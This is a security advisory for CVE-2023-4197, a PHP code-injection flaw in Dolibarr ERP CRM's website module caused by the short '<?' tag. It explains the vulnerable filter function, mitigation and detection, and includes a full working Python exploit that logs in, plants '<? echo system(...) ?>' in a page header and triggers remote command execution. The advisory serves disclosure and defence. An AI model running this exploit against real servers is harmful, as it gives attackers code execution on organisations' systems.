Summary:

Product Dolibarr ERP CRM
Vendor Dolibarr
Severity High
Affected Versions <= 18.0.1
Tested Versions 17.0.1, 18.0.1
CVE Identifier CVE-2023-4197
CVE Description Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.
CWE Classification(s) CWE-20: Improper Input Validation
CAPEC Classification(s) CAPEC-248 Command Injection CAPEC-153: Input Data Manipulation

CVSS3.1 Scoring System:

Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) High
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.

Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.

Vulnerability Summary:

Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <?php and <?=, allowing usage of the <? short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.

Vulnerability Details:

There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.

The vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the <? tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.

/core/lib/website.lib.php:
<?php

function dolKeepOnlyPhpCode($str)
{
    $str = str_replace('<?=', '<?php', $str);

    $newstr = '';

    // Split on each opening tag
    //$parts = explode('<?php', $str);
    $parts = preg_split('/'.preg_quote('<?php', '/').'/i', $str);

    if (!empty($parts)) {
        $i = 0;
        foreach ($parts as $part) {
            if ($i == 0) {  // The first part is never php code
                $i++;
                continue;
            }
            $newstr .= '<?php';
            //split on closing tag
            $partlings = explode('?>', $part, 2);
            if (!empty($partlings)) {
                $newstr .= $partlings[0].'?>';
            } else {
                $newstr .= $part.'?>';
            }
        }
    }
    return $newstr;
}

This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <?= with <?php and subsequently all <?php tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.

In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <? tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:

Exploit Conditions:

This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)
# Via: https://TARGET_HOST/website/index.php
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import os
import re
import requests
import sys
import uuid
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    cmd = sys.argv[4]

def authenticate():
    global s, csrf_token

    print("[+] Attempting to authenticate...")

    # GET the CSRF token
    res = s.get(f"{target}/", verify=False)
    csrf_token = re.search("\"anti-csrf-newtoken\" content=\"(.+)\"", res.text).group(1).strip()

    # Login
    data = {
        "token": csrf_token,
        "username": username,
        "password": password,
        "actionlogin": "login"
    }
    res = s.post(f"{target}/", data=data, verify=False)

    if "Logout" not in res.text:
        print("[!] Authentication failed! Are the credentials valid?")
        sys.exit(1)
    else:
        print("[+] Authenticated successfully!")

def rce():
    # Create web site
    print("[+] Attempting to create a website...")
    website_name = uuid.uuid4().hex
    data = {
        "WEBSITE_REF": website_name,
        "token": csrf_token,
        "action": "addsite",
        "WEBSITE_LANG": "en",
        "addcontainer": "create"
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if f"Website - {website_name}" not in res.text:
        print("[!] Website creation failed!")
        sys.exit(1)
    else:
        print(f"[+] Created website name: \"{website_name}\"!")

    # Create web page
    print("[+] Attempting to create a web page...")
    webpage_name = uuid.uuid4().hex
    data = {
        "website": website_name,
        "token": csrf_token,
        "action": "addcontainer",
        "WEBSITE_TYPE_CONTAINER": "page",
        "WEBSITE_TITLE": "x",
        "WEBSITE_PAGENAME": webpage_name
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if f"Contenair \\'{webpage_name}\\' added" not in res.text:
        print("[!] Web page creation failed!")
        sys.exit(1)
    else:
        print(f"[+] Created web page name: \"{webpage_name}\"!")

    # Modify created page
    print("[+] Attempting to modify the web page...")
    webpage_id = re.search(f"<option value=\"(.+)\" .+{webpage_name}", res.text).group(1).strip()
    data = {
        "website": website_name,
        "WEBSITE_PAGENAME": webpage_name,
        "pageid": webpage_id,
        "token": csrf_token,
        "action": "updatemeta",
        "htmlheader": f"<? echo system('{cmd}'); ?>"
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if "Saved" not in res.text:
        print("[!] Web page modification failed!")
        sys.exit(1)
    else:
        print("[+] Web page modified successfully!")      

    # Trigger RCE
    print(f"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}&pageref={webpage_name}")
    res = s.get(f"{target}/public/website/index.php?website={website_name}&pageref={webpage_name}", verify=False)
    if res.status_code != 200:
        print("[!] Web page is not reachable!")
        sys.exit(1)
    else:
        output = re.findall("block -->\n(.+)</head>", res.text, re.MULTILINE | re.DOTALL)[0].strip()
        print(f"[+] RCE successful! Output of command:\n\n{output}")

def main():
    check_args()
    authenticate()
    rce()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Dolibarr installation to the latest version as shown from the official repository releases page.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing <? tags, and further inspecting the code contained within.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-09-04 Reported vulnerability to Dolibarr owner
  • 2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release
  • 2023-10-11 New version containing patch released
  • 2023-11-01 Public Release